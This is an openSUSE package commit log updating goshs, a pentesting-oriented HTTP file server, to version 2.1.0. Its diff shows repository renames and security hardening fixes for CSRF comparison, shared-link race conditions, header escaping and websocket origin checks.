Script 'mail_helper' called by obssrc
Hello community,

here is the log from the commit of package goshs for openSUSE:Factory checked 
in at 2026-05-29 18:12:55
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Comparing /work/SRC/openSUSE:Factory/goshs (Old)
 and      /work/SRC/openSUSE:Factory/.goshs.new.1937 (New)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Package is "goshs"

Fri May 29 18:12:55 2026 rev:10 rq:1355887 version:2.1.0

Changes:
--------
--- /work/SRC/openSUSE:Factory/goshs/goshs.changes      2026-05-28 
17:29:26.201921844 +0200
+++ /work/SRC/openSUSE:Factory/.goshs.new.1937/goshs.changes    2026-05-29 
18:14:38.069189267 +0200
@@ -1,0 +2,10 @@
+Fri May 29 12:45:10 UTC 2026 - Martin Hauke <[email protected]>
+
+- Update to version 2.1.0
+  * Address security advisory GHSA-3whc-qvhv-xqjp
+  * Address security advisory GHSA-j48m-h7xq-2xpj
+  * Bump github/codeql-action from 4.35.5 to 4.36.0
+  * Fix issue #166
+  * General bug fixing and improving security posture.
+
+-------------------------------------------------------------------

Old:
----
  goshs-2.0.9.tar.gz

New:
----
  goshs-2.1.0.tar.gz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Other differences:
------------------
++++++ goshs.spec ++++++
--- /var/tmp/diff_new_pack.g8lLC2/_old  2026-05-29 18:14:41.101312571 +0200
+++ /var/tmp/diff_new_pack.g8lLC2/_new  2026-05-29 18:14:41.101312571 +0200
@@ -16,7 +16,7 @@
 #
 
 Name:           goshs
-Version:        2.0.9
+Version:        2.1.0
 Release:        0
 Summary:        A simple HTTP server
 License:        MIT

++++++ goshs-2.0.9.tar.gz -> goshs-2.1.0.tar.gz ++++++
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/.github/workflows/codeql-analysis.yml 
new/goshs-2.1.0/.github/workflows/codeql-analysis.yml
--- old/goshs-2.0.9/.github/workflows/codeql-analysis.yml       2026-05-27 
15:49:51.000000000 +0200
+++ new/goshs-2.1.0/.github/workflows/codeql-analysis.yml       2026-05-29 
12:20:25.000000000 +0200
@@ -44,7 +44,7 @@
 
     # Initializes the CodeQL tools for scanning.
     - name: Initialize CodeQL
-      uses: github/codeql-action/init@9e0d7b8d25671d64c341c19c0152d693099fb5ba 
# v3
+      uses: github/codeql-action/init@7211b7c8077ea37d8641b6271f6a365a22a5fbfa 
# v3
       with:
         languages: ${{ matrix.language }}
         # If you wish to specify custom queries, you can do so here or in a 
config file.
@@ -55,7 +55,7 @@
     # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
     # If this step fails, then you should remove it and run the build manually 
(see below)
     - name: Autobuild
-      uses: 
github/codeql-action/autobuild@9e0d7b8d25671d64c341c19c0152d693099fb5ba # v3
+      uses: 
github/codeql-action/autobuild@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v3
 
     # â„šī¸ Command-line programs to run using the OS shell.
     # 📚 https://git.io/JvXDl
@@ -69,4 +69,4 @@
     #   make release
 
     - name: Perform CodeQL Analysis
-      uses: 
github/codeql-action/analyze@9e0d7b8d25671d64c341c19c0152d693099fb5ba # v3
+      uses: 
github/codeql-action/analyze@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v3
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/.github/workflows/release.yml 
new/goshs-2.1.0/.github/workflows/release.yml
--- old/goshs-2.0.9/.github/workflows/release.yml       2026-05-27 
15:49:51.000000000 +0200
+++ new/goshs-2.1.0/.github/workflows/release.yml       2026-05-29 
12:20:25.000000000 +0200
@@ -53,10 +53,10 @@
           curl -sf --retry 5 --retry-delay 10 --retry-all-errors \
             -X POST \
             --user "${COPR_LOGIN}:${COPR_TOKEN}" \
-            -F "ownername=patrickhener" \
+            -F "ownername=goshs-labs" \
             -F "projectname=goshs" \
             -F "scmtype=git" \
-            -F "clone_url=https://github.com/patrickhener/goshs"; \
+            -F "clone_url=https://github.com/goshs-labs/goshs"; \
             -F "committish=${{ github.ref_name }}" \
             -F "spec=packaging/rpm/goshs.spec" \
             -F "srpm_build_method=rpkg" \
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/.goreleaser.yml 
new/goshs-2.1.0/.goreleaser.yml
--- old/goshs-2.0.9/.goreleaser.yml     2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/.goreleaser.yml     2026-05-29 12:20:25.000000000 +0200
@@ -60,17 +60,17 @@
 
 chocolateys:
   - name: goshs
-    owners: patrickhener
+    owners: goshs-labs
     title: goshs
     authors: Patrick Hener
     project_url: https://goshs.de
     icon_url: https://goshs.de/img/favicon.png
     copyright: Patrick Hener
-    license_url: https://github.com/patrickhener/goshs/blob/main/LICENSE
+    license_url: https://github.com/goshs-labs/goshs/blob/main/LICENSE
     require_license_acceptance: false
-    project_source_url: https://github.com/patrickhener/goshs
+    project_source_url: https://github.com/goshs-labs/goshs
     docs_url: https://docs.goshs.de
-    bug_tracker_url: https://github.com/patrickhener/goshs/issues
+    bug_tracker_url: https://github.com/goshs-labs/goshs/issues
     tags: "goshs http server file-sharing pentesting security ctf sysadmin"
     summary: "Beyond Python's http.server — single-binary file server for 
pentesters"
     description: |
@@ -88,21 +88,21 @@
         DNS/SMTP out-of-band callbacks, reverse shell catcher, redirect 
endpoint
       - Tunnel via localhost.run, webhooks, mDNS, IP allowlist, shell 
completion
       - Self-update: goshs --update
-    release_notes: "https://github.com/patrickhener/goshs/releases/tag/{{ .Tag 
}}"
+    release_notes: "https://github.com/goshs-labs/goshs/releases/tag/{{ .Tag 
}}"
     api_key: "{{ .Env.CHOCOLATEY_API_KEY }}"
     source_repo: "https://push.chocolatey.org/";
 
 winget:
-  - publisher: PatrickHener
+  - publisher: GoshsLabs
     short_description: Single-binary file server for pentesters and sysadmins
     license: MIT
     publisher_url: https://goshs.de
-    publisher_support_url: https://github.com/patrickhener/goshs/issues
-    package_identifier: PatrickHener.Goshs
-    url_template: "https://github.com/patrickhener/goshs/releases/download/{{ 
.Tag }}/{{ .ArtifactName }}"
+    publisher_support_url: https://github.com/goshs-labs/goshs/issues
+    package_identifier: GoshsLabs.Goshs
+    url_template: "https://github.com/goshs-labs/goshs/releases/download/{{ 
.Tag }}/{{ .ArtifactName }}"
     skip_upload: auto
     repository:
-      owner: patrickhener
+      owner: goshs-labs
       name: winget-pkgs
       branch: "goshs-{{ .Version }}"
       token: "{{ .Env.WINGET_PKGS_TOKEN }}"
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/Makefile new/goshs-2.1.0/Makefile
--- old/goshs-2.0.9/Makefile    2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/Makefile    2026-05-29 12:20:25.000000000 +0200
@@ -110,10 +110,10 @@
        @git push
        @git tag $(VERSION)
        @git push origin $(VERSION)
-       @docker build -t patrickhener/goshs:$(VERSION) .
-       @docker build -t patrickhener/goshs:latest .
-       @docker push patrickhener/goshs:$(VERSION)
-       @docker push patrickhener/goshs:latest
+       @docker build -t goshslabs/goshs:$(VERSION) .
+       @docker build -t goshslabs/goshs:latest .
+       @docker push goshslabs/goshs:$(VERSION)
+       @docker push goshslabs/goshs:latest
 
 run-unit: clean-tests
        @go test ./ca -count=1
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/README.md new/goshs-2.1.0/README.md
--- old/goshs-2.0.9/README.md   2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/README.md   2026-05-29 12:20:25.000000000 +0200
@@ -1,11 +1,10 @@
-![Version](https://img.shields.io/badge/Version-v2.0.9-green)
-[![GitHub](https://img.shields.io/github/license/patrickhener/goshs)](https://github.com/patrickhener/goshs/blob/master/LICENSE)
-![GitHub go.mod Go 
version](https://img.shields.io/github/go-mod/go-version/patrickhener/goshs)
-[![GitHub 
issues](https://img.shields.io/github/issues-raw/patrickhener/goshs)](https://github.com/patrickhener/goshs/issues)
-![goreleaser](https://github.com/patrickhener/goshs/workflows/goreleaser/badge.svg)
-[![Go Report 
Card](https://goreportcard.com/badge/github.com/patrickhener/goshs)](https://goreportcard.com/report/github.com/patrickhener/goshs)
-[![codecov](https://codecov.io/gh/patrickhener/goshs/branch/main/graph/badge.svg)](https://codecov.io/gh/patrickhener/goshs)
-[![GitHub 
stars](https://img.shields.io/github/stars/patrickhener/goshs?style=social)](https://github.com/patrickhener/goshs/stargazers)
+![Version](https://img.shields.io/badge/Version-v2.1.0-green)
+[![GitHub 
License](https://img.shields.io/github/license/goshs-labs/goshs)](https://github.com/goshs-labs/goshs/blob/main/LICENSE)
+![GitHub go.mod Go 
version](https://img.shields.io/github/go-mod/go-version/goshs-labs/goshs)
+[![GitHub 
issues](https://img.shields.io/github/issues-raw/goshs-labs/goshs)](https://github.com/goshs-labs/goshs/issues)
+![goreleaser](https://github.com/goshs-labs/goshs/workflows/goreleaser/badge.svg)
+[![Go Report 
Card](https://goreportcard.com/badge/goshs.de/goshs/v2)](https://goreportcard.com/report/goshs.de/goshs/v2)
+[![codecov](https://codecov.io/gh/goshs-labs/goshs/branch/main/graph/badge.svg)](https://codecov.io/gh/goshs-labs/goshs)
 
 <img 
src="https://github.com/patrickhener/image-cdn/blob/main/goshs-banner-light.png?raw=true";
 alt="goshs-logo" height="100">
 
@@ -72,15 +71,15 @@
 | 🖤 **BlackArch** | `pacman -S goshs` |
 | đŸ”ī¸ **Alpine Linux (edge)** | `apk add goshs` |
 | đŸĢ™ **Snap** | `snap install goshs` |
-| 🎩 **Fedora / RHEL (COPR)** | `dnf copr enable patrickhener/goshs && dnf 
install goshs` |
+| 🎩 **Fedora / RHEL (COPR)** | `dnf copr enable goshs-labs/goshs && dnf 
install goshs` |
 | đŸĻŽ **openSUSE** | `sudo zypper install goshs` |
 | â„ī¸ **Nix / NixOS** | `nix-env -iA nixpkgs.goshs` |
 | đŸē **Homebrew** | `brew install goshs` |
 | đŸĒŸ **Scoop** | `scoop bucket add extras && scoop install extras/goshs` |
-| đŸĒŸ **winget** | `winget install PatrickHener.Goshs` |
+| đŸĒŸ **winget** | `winget install GoshsLabs.Goshs` |
 | đŸĢ **Chocolatey** | `choco install goshs` |
-| đŸŗ **Docker** | `docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" 
patrickhener/goshs:latest -d /pwd` |
-| đŸ“Ļ **Release** | [Download from GitHub 
Releases](https://github.com/patrickhener/goshs/releases) |
+| đŸŗ **Docker** | `docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" 
goshs-labs/goshs:latest -d /pwd` |
+| đŸ“Ļ **Release** | [Download from GitHub 
Releases](https://github.com/goshs-labs/goshs/releases) |
 
 <details>
 <summary>🐚 Shell completion</summary>
@@ -108,7 +107,7 @@
 Building requirements are [esbuild](https://github.com/evanw/esbuild) and 
[sass](https://sass-lang.com/install). After installing these packages run:
 
 ```bash
-git clone https://github.com/patrickhener/goshs.git
+git clone https://github.com/goshs-labs/goshs.git
 cd goshs
 make build-all
 ```
@@ -117,7 +116,7 @@
 
 # Code Contributors
 
-[![Contributors](https://contrib.rocks/image?repo=patrickhener/goshs)](https://github.com/patrickhener/goshs/graphs/contributors)
+[![Contributors](https://contrib.rocks/image?repo=goshs-labs/goshs)](https://github.com/goshs-labs/goshs/graphs/contributors)
 
 # Security Contributors
 
@@ -129,6 +128,7 @@
   <td align="center"><a href="https://github.com/R1ZZG0D";><img 
src="https://github.com/R1ZZG0D.png?size=50"; width="50" height="50"></a></td>
   <td align="center"><a href="https://github.com/jaisurya-me";><img 
src="https://github.com/jaisurya-me.png?size=50"; width="50" 
height="50"></a></td>
   <td align="center"><a href="https://github.com/offset";><img 
src="https://github.com/offset.png?size=50"; width="50" height="50"></a></td>
+  <td align="center"><a href="https://github.com/black-shadow-007";><img 
src="https://github.com/black-shadow-007.png?size=50"; width="50" 
height="50"></a></td>
   <td align="center"><a 
href="https://github.com/wooseokdotkim";>wooseokdotkim</a></td>
   <td align="center"><a href="https://github.com/Guilhem7";>Guilhem7</a></td>
 </tr></table>
@@ -141,7 +141,7 @@
 
 # Star History
 
-[![Star History 
Chart](https://api.star-history.com/svg?repos=patrickhener/goshs&type=date&legend=top-left)](https://www.star-history.com/#patrickhener/goshs&type=date&legend=top-left)
+[![Star History 
Chart](https://api.star-history.com/svg?repos=goshs-labs/goshs&type=date&legend=top-left)](https://www.star-history.com/#goshs-labs/goshs&type=date&legend=top-left)
 
 # Credits
 
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/assets/js/src/context-menu.js 
new/goshs-2.1.0/assets/js/src/context-menu.js
--- old/goshs-2.0.9/assets/js/src/context-menu.js       2026-05-27 
15:49:51.000000000 +0200
+++ new/goshs-2.1.0/assets/js/src/context-menu.js       2026-05-29 
12:20:25.000000000 +0200
@@ -20,11 +20,7 @@
       closeCtx();
     };
     document.getElementById("ctx-open").onclick = () => {
-      if (previewType) {
-        previewFile(name);
-      } else {
-        window.location.href = name + (isDir ? "/" : "");
-      }
+      window.open(name + (isDir ? "/" : ""), "_blank");
       closeCtx();
     };
     document.getElementById("ctx-download").onclick = () => {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/catcher/listener.go 
new/goshs-2.1.0/catcher/listener.go
--- old/goshs-2.0.9/catcher/listener.go 2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/catcher/listener.go 2026-05-29 12:20:25.000000000 +0200
@@ -7,7 +7,6 @@
        "net"
        "strconv"
        "sync"
-       "time"
 
        "goshs.de/goshs/v2/logger"
 )
@@ -136,7 +135,9 @@
 }
 
 func generateID() string {
-       b := make([]byte, 4)
-       rand.Read(b)
-       return hex.EncodeToString(b) + fmt.Sprintf("%d", 
time.Now().UnixNano()%1000)
+       b := make([]byte, 16)
+       if _, err := rand.Read(b); err != nil {
+               panic("catcher: failed to generate ID: " + err.Error())
+       }
+       return hex.EncodeToString(b)
 }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/catcher/ws.go 
new/goshs-2.1.0/catcher/ws.go
--- old/goshs-2.0.9/catcher/ws.go       2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/catcher/ws.go       2026-05-29 12:20:25.000000000 +0200
@@ -28,7 +28,9 @@
                return
        }
 
-       conn, err := websocket.Accept(w, r, nil)
+       conn, err := websocket.Accept(w, r, &websocket.AcceptOptions{
+               OriginPatterns: []string{r.Host},
+       })
        if err != nil {
                logger.Errorf("catcher ws: accept failed: %v", err)
                return
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/clipboard/clipboard.go 
new/goshs-2.1.0/clipboard/clipboard.go
--- old/goshs-2.0.9/clipboard/clipboard.go      2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/clipboard/clipboard.go      2026-05-29 12:20:25.000000000 
+0200
@@ -4,11 +4,13 @@
 import (
        "encoding/json"
        "fmt"
+       "sync"
        "time"
 )
 
 // Clipboard is the in memory clipboard to hold the copy-pasteable content
 type Clipboard struct {
+       mu      sync.RWMutex
        Entries []Entry
 }
 
@@ -21,32 +23,32 @@
 
 // New will return an instantiated Clipboard
 func New() *Clipboard {
-       cb := &Clipboard{}
-       return cb
+       return &Clipboard{}
 }
 
 // AddEntry will give the opportunity to add an entry to the clipboard
 func (c *Clipboard) AddEntry(con string) error {
+       c.mu.Lock()
+       defer c.mu.Unlock()
+
        entries := c.Entries
+       id := 0
        if len(entries) > 0 {
-               entries = append([]Entry{{
-                       ID:      len(entries),
-                       Content: con,
-                       Time:    time.Now().Format("Mon Jan _2 15:04:05 2006"),
-               }}, entries...) // Create a copy of the slice to avoid 
modifying the original
-       } else {
-               entries = append([]Entry{{
-                       ID:      0,
-                       Content: con,
-                       Time:    time.Now().Format("Mon Jan _2 15:04:05 2006"),
-               }}, entries...) // Create a copy of the slice to avoid 
modifying the original
+               id = len(entries)
        }
-       c.Entries = entries
+       c.Entries = append([]Entry{{
+               ID:      id,
+               Content: con,
+               Time:    time.Now().Format("Mon Jan _2 15:04:05 2006"),
+       }}, entries...)
        return nil
 }
 
 // DeleteEntry will give the opportunity to delete an entry from the clipboard
 func (c *Clipboard) DeleteEntry(id int) error {
+       c.mu.Lock()
+       defer c.mu.Unlock()
+
        entries := c.Entries
        if id < 0 {
                return fmt.Errorf("id cannot be negative: %d", id)
@@ -55,31 +57,35 @@
                return fmt.Errorf("invalid entry ID: %d", id)
        }
        entries = append(entries[:id], entries[id+1:]...)
-       newEntries := reindex(entries)
-       c.Entries = newEntries
+       c.Entries = reindex(entries)
        return nil
 }
 
 // ClearClipboard will empty the clipboard
 func (c *Clipboard) ClearClipboard() error {
+       c.mu.Lock()
+       defer c.mu.Unlock()
        c.Entries = nil
        return nil
 }
 
 // GetEntries will give the opportunity to receive the entries from the 
clipboard
 func (c *Clipboard) GetEntries() ([]Entry, error) {
-       entries := c.Entries
-       return entries, nil
+       c.mu.RLock()
+       defer c.mu.RUnlock()
+       out := make([]Entry, len(c.Entries))
+       copy(out, c.Entries)
+       return out, nil
 }
 
 // Download will return a json encoded representation of the clipboards 
content for download purposes
 func (c *Clipboard) Download() ([]byte, error) {
-       entries := c.Entries
-       e, err := json.MarshalIndent(entries, "", "    ")
-       if err != nil {
-               return nil, err
-       }
-       return e, nil
+       c.mu.RLock()
+       entries := make([]Entry, len(c.Entries))
+       copy(entries, c.Entries)
+       c.mu.RUnlock()
+
+       return json.MarshalIndent(entries, "", "    ")
 }
 
 func reindex(entries []Entry) []Entry {
@@ -87,6 +93,5 @@
        for i := range entries {
                entries[i].ID = n - 1 - i
        }
-
        return entries
 }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/config/config_test.go 
new/goshs-2.1.0/config/config_test.go
--- old/goshs-2.0.9/config/config_test.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/config/config_test.go       2026-05-29 12:20:25.000000000 
+0200
@@ -6,8 +6,8 @@
        "path/filepath"
        "testing"
 
-       "goshs.de/goshs/v2/options"
        "github.com/stretchr/testify/require"
+       "goshs.de/goshs/v2/options"
 )
 
 func writeTempConfig(t *testing.T, cfg Config) string {
@@ -24,10 +24,10 @@
 
 func TestLoadConfig_BasicFields(t *testing.T) {
        cfg := Config{
-               Interface: "127.0.0.1",
-               Port:      9090,
-               Directory: "/tmp/testroot",
-               SSL:       true,
+               Interface:  "127.0.0.1",
+               Port:       9090,
+               Directory:  "/tmp/testroot",
+               SSL:        true,
                SelfSigned: true,
        }
 
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/dnsserver/dnsserver_test.go 
new/goshs-2.1.0/dnsserver/dnsserver_test.go
--- old/goshs-2.0.9/dnsserver/dnsserver_test.go 2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/dnsserver/dnsserver_test.go 2026-05-29 12:20:25.000000000 
+0200
@@ -6,11 +6,11 @@
        "testing"
 
        "github.com/miekg/dns"
+       "github.com/stretchr/testify/require"
        "goshs.de/goshs/v2/clipboard"
        "goshs.de/goshs/v2/options"
        "goshs.de/goshs/v2/webhook"
        "goshs.de/goshs/v2/ws"
-       "github.com/stretchr/testify/require"
 )
 
 func newTestServer() *DNSServer {
@@ -51,14 +51,16 @@
        remote  string
 }
 
-func (m *mockResponseWriter) LocalAddr() net.Addr          { return 
&net.UDPAddr{} }
-func (m *mockResponseWriter) RemoteAddr() net.Addr         { return 
&net.UDPAddr{IP: net.ParseIP("127.0.0.1"), Port: 12345} }
-func (m *mockResponseWriter) WriteMsg(msg *dns.Msg) error  { m.written = msg; 
return nil }
-func (m *mockResponseWriter) Write(b []byte) (int, error)  { return len(b), 
nil }
-func (m *mockResponseWriter) Close() error                 { return nil }
-func (m *mockResponseWriter) TsigStatus() error            { return nil }
-func (m *mockResponseWriter) TsigTimersOnly(bool)          {}
-func (m *mockResponseWriter) Hijack()                      {}
+func (m *mockResponseWriter) LocalAddr() net.Addr { return &net.UDPAddr{} }
+func (m *mockResponseWriter) RemoteAddr() net.Addr {
+       return &net.UDPAddr{IP: net.ParseIP("127.0.0.1"), Port: 12345}
+}
+func (m *mockResponseWriter) WriteMsg(msg *dns.Msg) error { m.written = msg; 
return nil }
+func (m *mockResponseWriter) Write(b []byte) (int, error) { return len(b), nil 
}
+func (m *mockResponseWriter) Close() error                { return nil }
+func (m *mockResponseWriter) TsigStatus() error           { return nil }
+func (m *mockResponseWriter) TsigTimersOnly(bool)         {}
+func (m *mockResponseWriter) Hijack()                     {}
 
 func TestDNSHandler_ARecord(t *testing.T) {
        s := newTestServer()
@@ -144,18 +146,14 @@
 }
 
 func TestDNSHandler_ReplyIPFallback(t *testing.T) {
-       // When ReplyIP is empty, it should fall back to the server's IP.
+       // When opts.DNSIP is empty, NewDNSServer should default ReplyIP to 
"0.0.0.0".
        cb := clipboard.New()
        hub := ws.NewHub(cb, false)
        go hub.Run()
        wh := webhook.Register(false, "", "discord", []string{})
 
-       s := &DNSServer{
-               IP:      "192.168.0.1",
-               ReplyIP: "", // empty — should fall back to IP
-               Hub:     hub,
-               WebHook: wh,
-       }
+       opts := &options.Options{DNSIP: ""} // empty — constructor should 
default to 0.0.0.0
+       s := NewDNSServer(opts, hub, wh)
 
        req := new(dns.Msg)
        req.SetQuestion("test.local.", dns.TypeA)
@@ -166,5 +164,5 @@
        require.NotNil(t, w.written)
        require.Len(t, w.written.Answer, 1)
        a := w.written.Answer[0].(*dns.A)
-       require.Equal(t, "192.168.0.1", a.A.String())
+       require.Equal(t, "0.0.0.0", a.A.String())
 }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/dnsserver/server.go 
new/goshs-2.1.0/dnsserver/server.go
--- old/goshs-2.0.9/dnsserver/server.go 2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/dnsserver/server.go 2026-05-29 12:20:25.000000000 +0200
@@ -23,15 +23,18 @@
 }
 
 func NewDNSServer(opts *options.Options, hub *ws.Hub, wh *webhook.Webhook) 
*DNSServer {
+       replyIP := opts.DNSIP
+       if replyIP == "" {
+               replyIP = "0.0.0.0"
+       }
        return &DNSServer{
                IP:      "0.0.0.0",
-               ReplyIP: opts.DNSIP,
+               ReplyIP: replyIP,
                Port:    opts.DNSPort,
                Hub:     hub,
                Silent:  opts.Silent,
                WebHook: wh,
        }
-
 }
 
 func (d *DNSServer) handler(w dns.ResponseWriter, r *dns.Msg) {
@@ -57,11 +60,6 @@
                // If webhook is enabled, send the DNS query to the webhook 
endpoint
                logger.HandleWebhookSend(fmt.Sprintf("[DNS] - Source: %s - 
Type: %s - Query: %s", event.Source, event.QType, event.Name), "dns", 
*d.WebHook)
 
-               // If ReplyIP is not set, use the same IP as the DNS server
-               if d.ReplyIP == "" {
-                       d.ReplyIP = d.IP
-               }
-
                switch q.Qtype {
                case dns.TypeA:
                        m.Answer = append(m.Answer, &dns.A{
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/goshsversion/version.go 
new/goshs-2.1.0/goshsversion/version.go
--- old/goshs-2.0.9/goshsversion/version.go     2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/goshsversion/version.go     2026-05-29 12:20:25.000000000 
+0200
@@ -1,3 +1,3 @@
 package goshsversion
 
-var GoshsVersion = "v2.0.9"
+var GoshsVersion = "v2.1.0"
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/consts.go 
new/goshs-2.1.0/httpserver/consts.go
--- old/goshs-2.0.9/httpserver/consts.go        2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/consts.go        2026-05-29 12:20:25.000000000 
+0200
@@ -2,5 +2,5 @@
 
 const (
        modeWeb   string = "web"
-       chunkSize int    = 16 << 24
+       chunkSize int    = 16 << 20 // 16 MB
 )
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/coverage_test.go 
new/goshs-2.1.0/httpserver/coverage_test.go
--- old/goshs-2.0.9/httpserver/coverage_test.go 2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/coverage_test.go 2026-05-29 12:20:25.000000000 
+0200
@@ -8,10 +8,10 @@
        "path/filepath"
        "testing"
 
+       "github.com/stretchr/testify/require"
        "goshs.de/goshs/v2/clipboard"
        "goshs.de/goshs/v2/webhook"
        "goshs.de/goshs/v2/ws"
-       "github.com/stretchr/testify/require"
 )
 
 // ─── AddCertAuth 
──────────────────────────────────────────────────────────────
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/handler.go 
new/goshs-2.1.0/httpserver/handler.go
--- old/goshs-2.0.9/httpserver/handler.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/handler.go       2026-05-29 12:20:25.000000000 
+0200
@@ -1,6 +1,7 @@
 package httpserver
 
 import (
+       "crypto/subtle"
        "encoding/json"
        "fmt"
        "html/template"
@@ -125,7 +126,7 @@
 // Anything else — a browser request from a different origin without a valid
 // token — is rejected.
 func (fs *FileServer) checkCSRF(w http.ResponseWriter, req *http.Request) bool 
{
-       if req.Header.Get("X-CSRF-Token") == fs.CSRFToken {
+       if subtle.ConstantTimeCompare([]byte(req.Header.Get("X-CSRF-Token")), 
[]byte(fs.CSRFToken)) == 1 {
                return true
        }
 
@@ -973,48 +974,38 @@
 
        token := r.URL.Query().Get("token")
 
-       fs.sharedLinksMu.RLock()
+       // Consume the download slot atomically before serving to prevent 
TOCTOU races
+       fs.sharedLinksMu.Lock()
        entry, ok := fs.SharedLinks[token]
-       fs.sharedLinksMu.RUnlock()
-
-       if !ok || time.Now().After(entry.Expires) {
+       if !ok || time.Now().After(entry.Expires) ||
+               (entry.DownloadLimit != -1 && entry.Downloaded >= 
entry.DownloadLimit) {
+               fs.sharedLinksMu.Unlock()
                http.NotFound(w, r)
                return
        }
-
-       // Only send if download limit not reached
-       if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
-               if entry.IsDir {
-                       q := r.URL.Query()
-                       q.Set("file", entry.FilePath)
-                       q.Set("bulk", "true")
-                       r.URL.RawQuery = q.Encode()
-                       fs.bulkDownload(w, r)
-               } else {
-                       file, err := os.Open(filepath.Join(fs.Webroot, 
entry.FilePath))
-                       if err != nil {
-                               logger.Errorf("error opening shared file: %s", 
entry.FilePath)
-                               fs.handleError(w, r, err, 
http.StatusInternalServerError)
-                               return
-                       }
-                       fs.sendFile(w, r, file, configFile{})
-               }
+       entry.Downloaded++
+       if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit 
{
+               delete(fs.SharedLinks, token)
        } else {
-               http.NotFound(w, r)
-               return
+               fs.SharedLinks[token] = entry
        }
+       fs.sharedLinksMu.Unlock()
 
-       // Update download counter and remove link if limit reached
-       fs.sharedLinksMu.Lock()
-       if current, exists := fs.SharedLinks[token]; exists {
-               current.Downloaded++
-               if current.DownloadLimit != -1 && current.Downloaded >= 
current.DownloadLimit {
-                       delete(fs.SharedLinks, token)
-               } else {
-                       fs.SharedLinks[token] = current
+       if entry.IsDir {
+               q := r.URL.Query()
+               q.Set("file", entry.FilePath)
+               q.Set("bulk", "true")
+               r.URL.RawQuery = q.Encode()
+               fs.bulkDownload(w, r)
+       } else {
+               file, err := os.Open(filepath.Join(fs.Webroot, entry.FilePath))
+               if err != nil {
+                       logger.Errorf("error opening shared file: %s", 
entry.FilePath)
+                       fs.handleError(w, r, err, 
http.StatusInternalServerError)
+                       return
                }
+               fs.sendFile(w, r, file, configFile{})
        }
-       fs.sharedLinksMu.Unlock()
 }
 
 // snapshotSharedLinks returns a copy of the SharedLinks map for safe use in
@@ -1118,8 +1109,9 @@
                return
        }
 
+       safeName := strings.NewReplacer(`\`, `\\`, `"`, 
`\"`).Replace(a.Filename)
        w.Header().Set("Content-Type", a.ContentType)
-       w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; 
filename="%s"`, a.Filename))
+       w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; 
filename="%s"`, safeName))
        w.Header().Set("Content-Length", fmt.Sprintf("%d", a.Size))
        _, err := w.Write(a.Data)
        if err != nil {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/handler_test.go 
new/goshs-2.1.0/httpserver/handler_test.go
--- old/goshs-2.0.9/httpserver/handler_test.go  2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/handler_test.go  2026-05-29 12:20:25.000000000 
+0200
@@ -9,11 +9,11 @@
        "testing"
        "time"
 
+       "github.com/stretchr/testify/require"
        "goshs.de/goshs/v2/clipboard"
        "goshs.de/goshs/v2/smtpattach"
        "goshs.de/goshs/v2/webhook"
        "goshs.de/goshs/v2/ws"
